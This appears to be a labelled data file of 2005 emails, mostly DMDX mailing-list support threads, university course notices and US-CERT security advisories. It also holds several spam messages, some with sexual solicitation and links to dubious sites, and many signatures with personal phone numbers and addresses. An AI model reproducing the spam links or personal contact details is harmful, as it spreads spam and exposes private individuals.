"""Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 04 Nov 2005 09:26:58 -0700",[DMDX] Re: participant controlled rate of presentation,"At 02:56 PM 11/4/2005 +0000, you wrote: >Hi Jonathan, > >thanks for the speedy response. You said I should use a fixed delay between >items and would have to calculate what the time between clockons was later >when >analyzing the data. > > >How do I do that? The fixed Delay is done with the parameter -- note that it's not required if you're going to use . You would use Excel or something else to calculate the RTs. I'd subtract the two RCOT times, add the second response and subtract the first and you've got time from one RT to the next. > Are there any sample scripts out there that I could work >from? If you use the DMDX script is only going to differ from a normal script by the addition of in the parameter line. Scripts for processing the results aren't within my purview. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A stitch in time would have confused Einstein. - anonymous",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Fri, 04 Nov 2005 09:38:18 -0600",[CS382M:40] multithreading paper for analytical project,"CS382m-ers, Some of you have had a hard time finding the Burton Smith paper on multithreading (HEP). I have asked my assistant Gem to make some hardcopies - you are welcome to stop by this afternoon after 2pm to pick one up from her. Her office is ACES 3.422 Cheers, SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Fri, 04 Nov 2005 16:53:59 -0600",[CS382M:41] TRIPS tools,"CS382m-ers, For those of you needing the TRIPS tools for the empirical project, we have made a version available in /p on the UTCS computer systems. In addition, there is a fair bit of documentation we just put on the course web site (many thanks to Kartik and members of the TRIPS team): http://www.cs.utexas.edu/users/skeckler/cs382m/handouts/trips.html I do not recommend printing out the manuals there (at least not yet). Some are pretty long and you don't really need all of that info in post-tree form. Cheers, SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Sat, 05 Nov 2005 13:31:33 -0000",[DMDX] ,"I now have a very peculiar problem, similar to, but not the same as others reported. On a Toshiba laptop, I can run DMDX no problem - I get the end message, and asked whether to 'save the data'. I say yes, the data is saved, and then finally the screen goes white and the whole laptop freezes. (seems like the close down process for DMDX is failing somewhere and not returning control to Windows?) Nothing gets me out of the freeze other than a reboot. The run data has been successfully saved. The same happens if I say I Don't want to save data so it's not a disc problem or anything like that - sounds much more like a video problem with DMDX not being able to revert to the original video settings ? Chris Letts, University of Newcastle ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 05 Nov 2005 15:34:49 -0700",[DMDX] Re: ,"At 01:31 PM 11/5/2005 +0000, you wrote: >I now have a very peculiar problem, similar to, but not the same as >others reported. > >On a Toshiba laptop, I can run DMDX no problem - I get the end message, >and asked whether to 'save the data'. I say yes, the data is saved, and >then finally the screen goes white and the whole laptop freezes. (seems >like the close down process for DMDX is failing somewhere and not >returning control to Windows?) Yeah, we've seen that before. I'm not recalling specifically what it was though so you might want to spend some quality time with the archives. If you're not running the latest version of DMDX you might try that just incase it wasn't a driver issue and I actually had to fix something in DMDX. > Nothing gets me out of the freeze other >than a reboot. The run data has been successfully saved. The same >happens if I say I Don't want to save data so it's not a disc problem or >anything like that - sounds much more like a video problem with DMDX not >being able to revert to the original video settings ? I'm betting it was with bad video drivers, failing that it was bad sound card drivers. If you're not using any sound files then it's more than likely video chipset driver update time. Of course there's always the DMDX for GeForce Video Card shortcut and if that fails the DMDX for Really Bad Video Cards. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Can't sleep? Try counting your blessings. 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There are four combinations, including that a cross is shown first and then a circle is shown; a circle first and then a cross; 2 circle are shown sequentially; 2 cross shown sequentially. Each stimulus would last for 75ms, and ISI would be varied from 500ms, 300ms, 100ms, 50ms, 10ms. The instruction given to the subject is that when he see cross, he need to press A; when he see circle, he need to press L. A correct repsone for each trial including 2 presses which are in corect order. We try to write the program like this: $ 0 ""press two pics""; 0 ""see x press A""; 0 ""see O press L""; 0 ""space""; 250 /; $ +1 * ""cross"" /* ""white""/* ""circle""// ; -2 */ ; However, there are several problems. First, when subject press the first button, he need to wait for a while before he press the second button though i have set . Then the RT of subject would not accurate. Second, For ISI is 500ms like the above, the subject may press the button once he see the first stimulus before the second stimulus is shown. But, we cannot spilt the 2 stimulus in each trial into 2 lines. That is write the programe like this : +1 * ""cross""/ ""white""/// ; -2 * ""circle""// ; Because we use five ISI: 500ms, 300ms,, 100ms, 50ms, 10ms. For the short ISI, like 10ms, if we split the 2 stimulus into 2 lines, the subject would not have enough time to repsond. The third problem is the feedback. If the subject press incorrect button for the first stimulus, but he press correct button for the second stimulus, a feedback ""wrong"" would be shown followed by a feedback ""correct"". A correct reponse for each trial involves 2 presses in correct order. And the condition just described is a wrong repsonse instead of a wrong and then correct response. I know what I said is a bit complicated, hope you will undersatnd what I said. I don't know how to use DMDX to write a programme that can record RT for 2 responses in each trial. Thanks, Kevin ------------------------------------------------- This e-mail is sent by CUHK WebMail http://webmail.cuhk.edu.hk",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 06 Nov 2005 06:41:57 -0700","[DMDX] Re: Problems of two sequential stimuli, and RT problems","At 02:33 PM 11/6/2005 +0800, you wrote: >Hi everybody, > >I am preparing a experiment on a notebook. In each trial of the >experiment, two >visual stimuli, a cross and a circle, will be shown sequentially. There are >four combinations, including that a cross is shown first and then a circle is >shown; a circle first and then a cross; 2 circle are shown sequentially; 2 >cross shown sequentially. Each stimulus would last for 75ms, and ISI would be >varied from 500ms, 300ms, 100ms, 50ms, 10ms. The instruction given to the >subject is that when he see cross, he need to press A; when he see circle, he >need to press L. A correct repsone for each trial including 2 presses >which are >in corect order. We try to write the program like this: > > > > Well a of zero sure isn't going to help you, any frame without a specific duration won't get displayed. > 255255255> > > >$ >0 > ""press two pics""; >0 ""see x press A""; >0 ""see O press L""; >0 ""space""; > >250 /; >$ >+1 * ""cross"" /* ""white""/* >""circle""// ; > >-2 */ ; > > >However, there are several problems. First, when subject press the first >button, >he need to wait for a while before he press the second button though i >have set >. You need to specify a of zero, DMDX will move to the next item as quick as possible. > Then the RT of subject would not accurate. Only one clockon per item is allowed. > Second, For ISI is 500ms >like the above, the subject may press the button once he see the first >stimulus >before the second stimulus is shown. But, we cannot spilt the 2 stimulus in >each >trial into 2 lines. You will have to. > That is write the programe like this : > > >+1 * ""cross""/ ""white""///¡§correct¡¨> ; > >-2 * ""circle""// ""wrong"">; > > Because we use five ISI: 500ms, 300ms,, 100ms, 50ms, 10ms. For the short > ISI, >like 10ms, if we split the 2 stimulus into 2 lines, the subject would not have >enough time to repsond. > > >The third problem is the feedback. If the subject press incorrect button for >the >first stimulus, but he press correct button for the second stimulus, a >feedback >""wrong"" would be shown followed by a feedback ""correct"". A correct reponse for >each trial involves 2 presses in correct order. And the condition just >described is a wrong repsonse instead of a wrong and then correct response. > > >I know what I said is a bit complicated, hope you will undersatnd what I said. Not really. Someone else might care to take a stab at it. >I >don't know how to use DMDX to write a programme that can record RT for 2 >responses in each trial. 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Each stimulus would last for 75ms, and ISI would be >>varied from 500ms, 300ms, 100ms, 50ms, 10ms. The instruction given to the >>subject is that when he see cross, he need to press A; when he see circle, he >>need to press L. A correct repsone for each trial including 2 presses >>which are >>in corect order. We try to write the program like this: Yeah, the only way this is going to be done correctly is with a bunch of branching or with counters and less branching. Because you can't gather two responses in an item (you can gather more but DMDX can't process the results for feedback) you'll have to have a design that remembers the first response in determining what feedback to give for the second response. So you can either have a design the branches depending on the result of the first item to either an item that can't have a correct response or one that could have one. The way I'd be tempted to do it would be to have feedback turned off and load up a counter with the lastXT of the first item and then have a custom feedback routine for the second. Something along these lines: $ 0 ""instuctions"" ; ~1 ; ~2 ; ~3 ; 4 ""correct"" ; 5 ""wrong"" ; ~1000; $ +1001 ""circle"" * ; +1002 ""cross"" * ; +2001 ""circle"" * ; +2002 ""cross"" * ; Of course there are probably a dozen things I'm forgetting but that's how I'd start. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Can't sleep? Try counting your blessings.",0,0 Miles ,DMDX@psy1.psych.arizona.edu,"Mon, 07 Nov 2005 14:43:24 -0700",grandiose Bitches in hardcore acttion!," Group beauteous teens hardcore! http://matchdownloads.info/fplf.htm?iSPhfd.fX,hj U_N__$_U_B_S_C_R_I_B_E http://matchdownloads.info ",1,1 s037627@mailserv.cuhk.edu.hk,DMDX@psy1.psych.arizona.edu,"Mon, 07 Nov 2005 20:50:50 +0800","[DMDX] RE: Problems of two sequential stimuli, and RT","We tried to recompose the program as the lines below. $ 0 ""instuctions"" ; ~1 ; ~2 ; ~3 ; 4 ""correct"" ; 5 ""wrong"" ; ~1000; $ +1001 ""circle"" * ; +1002 ""cross"" * ; +2001 ""circle"" * ; +2002 ""cross"" * ; $ 0 “The End. Thank You.”; $ But we have two problems: One is when we try running the above lines. An error ""Return without Call"". What does this mean? Another is about the record and feedback of responses. In our experiment, two stimuli will be presented sequentially. But in some trials, the ISI will be as short as 10ms only. So if the two stimuli are separatesd in two lines, we are afraid that the participants do not have enough time to respond after the first stimulus is presented. How can we solve this problem? Thanks a lot. ------------------------------------------------- This e-mail is sent by CUHK WebMail http://webmail.cuhk.edu.hk",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Nov 2005 07:49:50 -0700","[DMDX] Re: RE: Problems of two sequential stimuli, and RT","At 08:50 PM 11/7/2005 +0800, you wrote: >But we have two problems: > >One is when we try running the above lines. An error ""Return without Call"". >What does this mean? It means you didn't include the that my example had in it that branched over the subroutines. The subroutines (items 1 to 5) can't be executed in the normal flow of an item. >Another is about the record and feedback of responses. In our experiment, two >stimuli will be presented sequentially. But in some trials, the ISI will be as >short as 10ms only. You're running at 100Hz refresh rate? My experience has been that very few machines that use are ever doing anything more than 60Hz. You might want to try instead. > So if the two stimuli are separatesd in two lines, we are >afraid that the participants do not have enough time to respond after the >first >stimulus is presented. How can we solve this problem? You could try a , some machines are fast enough these days for it. You'll probably want to put a or some such thing in the parameter line and in each item where you want a delay of a different length include an appropriate . For instance: $ 0 ""instuctions"" ; ~1 ; ~2 ; ~3 ; 4 ""correct"" ; 5 ""wrong"" ; ~1000; $ +1001 ""circle"" * ; +1002 ""cross"" * ; +2001 ""circle"" * ; +2002 ""cross"" * ; $ 0 ¡§The End. Thank You.¡¨; $ Of course if you are going to be using bitmaps there's little chance that a bitmap will be read and displayed in a tick so you'll need to looking into the keyword and making DMDX buffer all your bitmaps. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Can't sleep? Try counting your blessings.",0,0 Office of Student Financial Aid and Scholarships ,,"Mon, 07 Nov 2005 11:10:29 -0800",financialaid: Scholarship Workshops on Campus this Fall ,"ANNOUNCING: Fall 2005 Scholarship Workshops Believe it or not, it's already time to think about how you will fund your 2006-7 school year. Scholarships providing free money for college are one of the very best ways to get this done! Attend one or both of these sessions and increase your chances of claiming a scholarship for the next school year. FIND AND COMPETE FOR SCHOLARSHIPS What could be bad about free money for school that never has to be repaid? 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Office of Student Financial Aid and Scholarships 1278 University of Oregon Eugene, Oregon 97403-1278 1-800-760-6953 (541) 346-3221 FAX: (541) 346-1175 fawww@uoregon.edu ",0,1 Lauren Brownrigg ,duckvoice@lists.uoregon.edu,"Mon, 07 Nov 2005 16:10:19 -0800",duckvoice: Career Fair," Fall Career Fair 2005 Thursday, November 10, 2:00pm - 7:00pm EMU Ballroom For more information regarding the Career Fair go to the career center website at http://uocareer.uoregon.edu/ ",0,1 Molly Mccormick ,"DMDX@psy1.psych.arizona.edu, cathy@psy1.psych.arizona.edu, jared@psy1.psych.arizona.edu, nona@psy1.psych.arizona.edu, lucia@psy1.psych.arizona.edu, ava@psy1.psych.arizona.edu, joanna@psy1.psych.arizona.edu, amparo@psy1.psych.arizona.edu","Mon, 07 Nov 2005 03:56:04 +0100",Re: from Molly Mccormick,"in crosswise it's cheesecake the predatory be weak but phosphorescent ",1,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Mon, 07 Nov 2005 21:23:15 -0600",[DMDX] feedback duration and delay,"In a previous post you indicated: #define FB_DELAY 2 /* delay of feedback signal */ #define FB_DUR 35 /* duration of feedback message (default) */ The delay before the feedback is likely to be longer than 2 ticks if your machine can't assemble the display that quickly though. You can change the default feedback duration with FBD in the header. Can you change the default for FB_Delay if you wanted to provide more time to assemble feedback to avoid slop in timing when using clearfeedback? J -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ",0,1 Angela Lowery ,madge@smtp.uoregon.edu,"Mon, 07 Nov 2005 18:36:50 -0500",Regarding your inquiry# 3465966.," A short time ago put screwy school of maidens http://jleonardya.com >> trash taiwan isja under 03179 >> hglobal he padlist like rankungen ",1,1 s037627@mailserv.cuhk.edu.hk,DMDX@psy1.psych.arizona.edu,"Tue, 08 Nov 2005 21:05:25 +0800","[DMDX] Re: RE: RE: Problems of two sequential stimuli, and RT","Thanks for your reply. But we don't know how the effect of and can help us solve our problem. When we try running the lines you provided, we found that there is a long delay between ""circle"" and ""cross"". So our problem cannot be solved. In some trials the ISI is 10ms, what we want to achieve is that both the RTs for the circle and cross can be recorded. Thanks. ------------------------------------------------- This e-mail is sent by CUHK WebMail http://webmail.cuhk.edu.hk",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Nov 2005 08:30:08 -0700",[DMDX] Re: feedback duration and delay,"At 09:23 PM 11/7/2005 -0600, you wrote: >In a previous post you indicated: >#define FB_DELAY 2 /* delay of feedback signal */ >#define FB_DUR 35 /* duration of feedback message (default) */ > >The delay before the feedback is likely to be longer than 2 ticks if your >machine can't assemble the display that quickly though. > >You can change the default feedback duration with FBD in the header. Can >you change the default for FB_Delay if you wanted to provide more time to >assemble feedback to avoid slop in timing when using clearfeedback? Don't think so, can't imagine that I would have ever exposed that. If you want precision in the feedback you'll have to write a custom feedback routine on very similar fashion to the one I gave over the weekend only with more tests on lasXT for incorrect and too long. The delay from the item _should_ apply over all non-display items (ones with ~ for a CR indicator) so in your RT items you should be able specify the delay of the feedback and in the last item of the feedback that displays either the ""wrong"", ""correct"" or ""too long"" message you should be able to specify the delay of the next RT item. But everyone needs to bear in mind that unless you've deliberately made the display longer than the RT there's going to be a whole load of variability as the feedback is going to be scheduled from the RT and the RT isn't synchronized with the raster. So yesterday's request for a 10ms delay from RT to feedback isn't going to happen too often. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I think, therefore I am. I think. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Nov 2005 08:33:20 -0700","[DMDX] Re: RE: RE: Problems of two sequential stimuli, and RT","At 09:05 PM 11/8/2005 +0800, you wrote: >Thanks for your reply. But we don't know how the effect of and >2> can help us solve our problem. When we try running the lines you provided, >we found that there is a long delay between ""circle"" and ""cross"". You probably need to put a in the line that sets counter 1 equal to the lastXT to override the default delay. > So our >problem cannot be solved. In some trials the ISI is 10ms, what we want to >achieve is that both the RTs for the circle and cross can be recorded. That's what is for. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I think, therefore I am. I think.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Nov 2005 11:34:15 -0700",[DMDX] correction,"In my examples recently the usage I have given is wrong, the needs to be in the item that is to be delayed, not the item before. So this is wrong: +1001 ""circle"" * ; +1002 ""cross"" * ; +2001 ""circle"" * ; +2002 ""cross"" * ; It should be: +1001 ""circle"" * ; +1002 ""cross"" * ; +2001 ""circle"" * ; +2002 ""cross"" * ; Note also that must be pretty much the first thing in the item if it's used in an item, it's one of those lovely old pieces of code that harks from antiquity and using it any other way is fraught with unpredictability. For John's controlled feedback delay example the keywords should be in the items displaying the feedback like this: $ 0 ""instructions"" ; ~1 ; ~2 ; 3 ""wrong"" ; 4 ""correct"" ; 5 ""too long"" ; ~1000; $ +1001 ""circle"" * ; +2001 ""circle"" * ; Not that I think a there's a machine in existence today that can't prepare stock feedback in two ticks... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A stitch in time would have confused Einstein. - anonymous",0,0 Lauren Brownrigg ,duckvoice@lists.uoregon.edu,"Tue, 08 Nov 2005 14:03:22 -0800",duckvoice: Quackin' Action," QUACKIN' ACTION is THIS SUNDAY, NOVEMBER 13th All Freshman are Required to Attend Be there at 12:30, done by 2:30 Please wear your SAAC shirts Check in at the Mo in the corner closest to Autzen SEE YOU THERE! ",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Tue, 08 Nov 2005 19:03:32 -0500",US-CERT Cyber Security Alert SA05-312A -- Microsoft Windows Image Processing Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cyber Security Alert SA05-312A Microsoft Windows Image Processing Vulnerabilities Original release date: November 08, 2005 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows Overview Microsoft has released updates that address critical vulnerabilities in Windows. Solution Apply Update Microsoft has released security updates for Windows. To obtain the updates, visit the Microsoft Update web site. US-CERT also recommends enabling Automatic Updates. Description The Microsoft Security Bulletin for November 2005 addresses vulnerabilities in the way Microsoft Windows processes image files. By tricking you into viewing maliciously altered image files, such as pictures on web sites or in email messages, an attacker may crash or take over your computer. For more technical information, see US-CERT Technical Alert TA05-312A. References * Microsoft Security Bulletin MS05-053 - * Microsoft Security Bulletin Summary for November 2005 - * US-CERT Vulnerability Note VU#300549 - * US-CERT Vulnerability Note VU#433341 - * Microsoft Update - _________________________________________________________________ Author: US-CERT. Feedback can be directed to US-CERT. _________________________________________________________________ This document is available from: Copyright 2005 Carnegie Mellon University. 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Overview Microsoft has released updates that address critical vulnerabilities in Windows graphics rendering services. A remote, unauthenticated attacker exploiting these vulnerabilities could execute arbitrary code or cause a denial of service on an affected system. I. Description The Microsoft Security Bulletin for November 2005 addresses multiple buffer overflows in Windows image processing routines. Viewing a specially crafted image from an application that uses a vulnerable routine may trigger these vulnerabilities. If this application can access images from remote sources, such as web sites or email, then remote exploitation is possible. Further information is available in the following US-CERT Vulnerability Notes: VU#300549 - Microsoft Windows Graphics Rendering Engine buffer overflow vulnerability Microsoft Windows Graphics Rendering Engine contains a buffer overflow that may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2005-2123) VU#433341 - Microsoft Windows vulnerable to buffer overflow via specially crafted ""WMF"" file Microsoft Windows may be vulnerable to remote code execution via a buffer overflow in the Windows Metafile image format handling. (CVE-2005-2124) VU#134756 - Microsoft Windows buffer overflow in Enhanced Metafile rendering API Microsoft Windows Enhanced Metafile Format image rendering routines contain a buffer overflow flaw that may allow an attacker to cause a denial-of-service condition. (CVE-2005-0803) III. Solution Apply Updates Microsoft has provided the updates to correct these vulnerabilities in Microsoft Security Bulletin MS05-053. These updates are also available on the Microsoft Update site. II. Impact A remote, unauthenticated attacker exploiting these vulnerabilities could execute arbitrary code with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take control of an affected system. An attacker may also be able to cause a denial of service. Appendix A. References * Microsoft Security Bulletin MS05-053 - * Microsoft Security Bulletin Summary for November 2005 - * US-CERT Vulnerability Note VU#300549 - * US-CERT Vulnerability Note VU#433341 - * US-CERT Vulnerability Note VU#134756 - * Microsoft Update - _________________________________________________________________ The most recent version of this document can be found at: _________________________________________________________________ Feedback can be directed to US-CERT. Please send email to: with ""TA05-312A Feedback VU#300549"" in the subject. _________________________________________________________________ Revision History Nov 08, 2005: Initial release _________________________________________________________________ Produced 2005 by US-CERT, a government organization. Terms of use _________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ3E5BH0pj593lg50AQISLAf+NMAgk3Up6wWphjOIQ89miwTHvpXHGmIH /mxHQ3PoN82NPkr8NmnLHhNAHqi8+ZI15lrympvr6xvm8C8FTxPU+dCa9CxS3c4l FLbTDbACHeD/OYwgvbE70Gx5ZUG95MMXgCRMHGiwIHaSHRspUQRMjRN5JubPjsyL S737+Yr19hMw6JQOWhM+Pn0MyAs6qm+4gfnIxO2Z1PsmpnushpqW505U6B6ZkF7W zCU0zecdwtZCMhWTu+3L/MqAjzt7VCsd2iC+0HS7WLvAcWoFcEvlL6Ai/E/eJLDm HQnO34E8231CcKRT4VACvs1QPFV1pvw1pihOAXveiBFoHpCIdPLc6g== =faQS -----END PGP SIGNATURE-----",0,1 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Tue, 08 Nov 2005 20:15:58 -0600",[CS382M:42] Updates to TRIPS documentation,"Same URL: http://www.cs.utexas.edu/users/skeckler/cs382m/handouts/trips.html 1. Installation instructions have been updated. Please update your startup scripts. 2. I have added a link to documentation on the departmental job-scheduling software, condor. Expect to know this beast intimately by the end of the semester. As always, if you have questions just ask. Kartik ",0,1 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Tue, 08 Nov 2005 20:33:38 -0600",Test message,"Testing the cs394t-mark mailing list. ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 08:06:38 -0800",[DMDX] script sharing?,"Hellos, Does anyone have DMDX scripts for (1) a finger tapping or (2) Stroop tests which they would like to share? For my part I have well developed DMDX scripts for the PASAT (Paced Serial Addition Test - in English, Swedish, and Italian no less!) and Posner's Covert Orienting of Attention paradigm ... which I would likewise be happy to share. Warmest regards, Derek Eder Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""In the beginner's mind there are many possibilities, but in the expert's mind there are few"" - S. Suzuki __________________________________ Yahoo! FareChase: Search multiple travel sites in one click. http://farechase.yahoo.com ",0,1 John Curtin ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 10:50:21 -0600",[DMDX] Re: script sharing?,"Hi Derek (and other DMDX users), I am teaching a short grad course on DMDX scripting right now. As part of that course, the students and I are putting together a website with scripts that demonstrate various features of DMDX (much like some of the scripts on Mike Ford's website). We also intend to start to archive full scripts for an array of common tasks/paradigms. Just started teaching the course two weeks ago so the site is kinda fresh right now. You can view it at http://dionysus.psych.wisc.edu/methods/DMDX/DMDXHelp.htm I would love to add scripts from others and will accept them via email (at jjcurtin@wisc.edu). Ideally, they should be commented to indicate function and details about the task, timing, number of trials, etc. These will hopefully serve as nice starting points for similar script development. I intend to keep this site public accessible and hope to improve on it during the class and afterwards to serve as a resource for everyone using DMDX. Always willing to take suggestions for helpful content as well. Derek, I do have a couple of Stroop scripts (generic, and one based on the Carter et al, trial type frequency manipulation). I will send this in an email to you directly. Best, John -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 On 11/9/05, Derek Eder wrote: > > Hellos, > > Does anyone have DMDX scripts for (1) a finger tapping > or (2) Stroop tests which they would like to share? > > For my part I have well developed DMDX scripts for the > PASAT (Paced Serial Addition Test - in English, > Swedish, and Italian no less!) and Posner's Covert > Orienting of Attention paradigm ... which I would > likewise be happy to share. > > Warmest regards, > > Derek Eder > > Derek Eder > Bagaregårdsgatan 3E, nr 134 > SE 416 70 Göteborg (Gothenburg) > Sverige (Sweden) > > +46 (031) 25 97 07 (home) > +46 0709 721 283 (mobil) > > email: derek_eder@yahoo.com > web page: www.derek-eder.org > > ""In the beginner's mind there are many possibilities, but in the expert's > mind there are few"" - S. Suzuki > > > > __________________________________ > Yahoo! FareChase: Search multiple travel sites in one click. > http://farechase.yahoo.com > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 16:57:58 -0000",[DMDX] scripts,"What amazed me, when I started with DMDX not too long ago, was that nobody had produced an easy way for a non-technical user to create scripts, or modify basic scripts for their own purposes (please let me know if I'm wrong !). What I've ended up doing is creating a document template in WORD, using tables, which set out all the basic commands in 'greyed out' columns, leaving all the bits the user needs to fill in (e.g. text, file names, etc) in white columns. I then change all the commands as necessary before handing over to the user to do the mundane stuff ! P.S. of course once the template is produced, you need to use WORDPAD to do the editing ! Chris Letts, Newcastle University. ",0,0 Dianne Patterson ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 10:06:05 -0700",[DMDX] Re: scripts,"Sounds terrific, Chris! Are you willing to make your Word template available to the struggling masses? Thanks, Dianne On 11/9/05, Chris Letts wrote: > > What amazed me, when I started with DMDX not too long ago, was that nobody > had produced an easy way for a non-technical user to create scripts, or > modify basic scripts for their own purposes (please let me know if I'm wrong > !). > > What I've ended up doing is creating a document template in WORD, using > tables, which set out all the basic commands in 'greyed out' columns, > leaving all the bits the user needs to fill in (e.g. text, file names, > etc) in white columns. I then change all the commands as necessary before > handing over to the user to do the mundane stuff ! > > P.S. of course once the template is produced, you need to use WORDPAD to > do the editing ! > > *Chris Letts,* > *Newcastle University.* > > -- Dianne Patterson, Ph.D. Cognition and NeuroImaging labs University of Arizona 626-4571 (Office)",0,0 US-CERT Security Tips ,security-tips@us-cert.gov,"Wed, 09 Nov 2005 14:26:05 -0500",US-CERT Cyber Security Tip ST05-018 -- Understanding Voice over Internet Protocol (VoIP) ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cyber Security Tip ST05-018 Understanding Voice over Internet Protocol (VoIP) With the introduction of VoIP, you can use the internet to make telephone calls instead of relying on a separate telephone line. However, the technology does present security risks. What is voice over internet protocol (VoIP)? Voice over internet protocol (VoIP), also known as IP telephony, allows you to use your internet connection to make telephone calls. Instead of relying on an analog line like traditional telephones, VoIP uses digital technology and requires a high-speed broadband connection such as DSL or cable. There are a variety of providers who offer VoIP, and they offer different services. The most common application of VoIP for personal or home use is internet-based phone services that rely on a telephone switch. With this application, you will still have a phone number, will still dial phone numbers, and will likely have an adapter that allows you to use a regular telephone. The person you are calling will not likely notice a difference from a traditional phone call. Some service providers also offer the ability to use your VoIP adapter any place you have a high-speed internet connection, allowing you to take it with you when you travel. What are the security implications of VoIP? Because VoIP relies on your internet connection, it may be vulnerable to any threats and problems that face your computer. The technology is still new, so there is some controversy about the potential for attack, but VoIP could make your telephone vulnerable to viruses and other malicious code. Attackers may be able to perform activities such as intercepting your communications, eavesdropping, conducting effective phishing attacks by manipulating your caller ID, and causing your service to crash (see Avoiding Social Engineering and Phishing Attacks and Understanding Denial-of-Service Attacks for more information). Activities that consume a large amount of network resources, like large file downloads, online gaming, and streaming multimedia, will also affect your VoIP service. There are also inherent problems to routing your telephone over your broadband connection. Unlike traditional telephone lines, which operate despite an electrical outage, if you lose power, your VoIP may be unavailable. There are also concerns that home security systems or emergency numbers such as 911 may not work properly. How can you protect yourself? * Keep software up to date - If the vendor releases patches for the software operating your device, install them as soon as possible. These patches may be called firmware updates. Installing them will prevent attackers from being able to take advantage of known problems or vulnerabilities (see Understanding Patches for more information). * Use and maintain anti-virus software - Anti-virus software recognizes and protects your computer against most known viruses. However, attackers are continually writing new viruses, so it is important to keep your anti-virus software current (see Understanding Anti-Virus Software for more information). * Take advantage of security options - Some service providers may offer encryption as one of their services. If you are concerned about privacy and confidentiality, you may want to consider this and other available options. * Install or enable a firewall - Firewalls may be able to prevent some types of infection by blocking malicious traffic before it can enter your computer (see Understanding Firewalls for more information). Some operating systems actually include a firewall, but you need to make sure it is enabled. * Evaluate your security settings - Both your computer and your VoIP equipment/software offer a variety of features that you can tailor to meet your needs and requirements. However, enabling certain features may leave you more vulnerable to being attacked, so disable any unnecessary features. Examine your settings, particularly the security settings, and select options that meet your needs without putting you at increased risk. _________________________________________________________________ Author: Mindi McDowell _________________________________________________________________ Produced 2005 by US-CERT, a government organization. Terms of use This document can also be found at For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ3JMP30pj593lg50AQKPXQf/WwmsuccVWMVZ2krzu4MMJTMEyarpCa56 8hcOy8d+VZ3Jk2LXAtW8LgFS9leb8185/r7bLWzIaqNlp9Pi802sNvL0kt2aVyiJ 